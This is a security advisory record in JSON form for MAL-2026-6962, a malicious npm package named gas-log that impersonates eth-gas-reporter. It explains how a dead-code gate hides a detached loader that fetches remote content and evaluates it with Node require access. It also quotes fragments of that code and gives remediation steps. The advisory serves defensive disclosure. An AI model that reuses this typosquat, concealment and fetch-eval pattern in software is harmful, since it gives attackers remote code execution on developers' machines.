{"answers":{"affected":"1 open source package ship an affected version, including gas-log.","exploited":"There is no known exploitation of MAL-2026-6962 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-6962 is a malicious package in gas-log, published on 8 Jul 2026."},"fix_prompt":"MAL-2026-6962 is a malicious package: gas-log (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-6962/ (Markdown: https://insights.sbomify.com/MAL-2026-6962/index.md)","id":"MAL-2026-6962","markdown":"https://insights.sbomify.com/MAL-2026-6962/index.md","name":"MAL-2026-6962","record":{"aliases":["GHSA-24x9-3433-gqp9"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"gas-log impersonates the legitimate eth-gas-reporter package: it reuses that project's README, keywords, badges, and CHANGELOG, and the README even instructs users to install the target name. The exported Mocha reporter in index.js contains two near-identical implementations. The real reporter (Gas) is defined but not exported; the exported function (log) sets `var opt = 1` and unconditionally enters an else branch that calls `utils.connectNet(...)`, making the always-false `if (!opt)` guard a dead-code gate that hides the payload as an unreachable variant of the legitimate code. utils.connectNet spawns a detached, unref'd `node lib/syncResolve.js` child so the loader outlives the parent Mocha process. lib/syncResolve.js issues `axios.get(DEV_URI, { headers: { 'x-secret-key': '_' } })`, extracts `.data.Cookie` from the response, and passes it to `new Function.constructor('require', result)` with `require` bound in, then invokes it — an eval of attacker-controlled response bytes with full Node module access, retried 5 times. DEV_URI is empty in this shipped version so the fetch will fail today, but the mechanism is complete and armed: any future publish, DNS resolution, or same-origin redirect activates full RCE on any developer who runs mocha with this reporter. The typosquat framing, the dead-code gate, and the fetch → eval → detached-child chain together are unambiguous supply-chain attack intent.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in gas-log (npm)","id":"MAL-2026-6962","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"gas-log","purl":"pkg:npm/gas-log","source":"MAL-2026-6962"}],"products":null,"published":"2026-07-08","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-6962/"}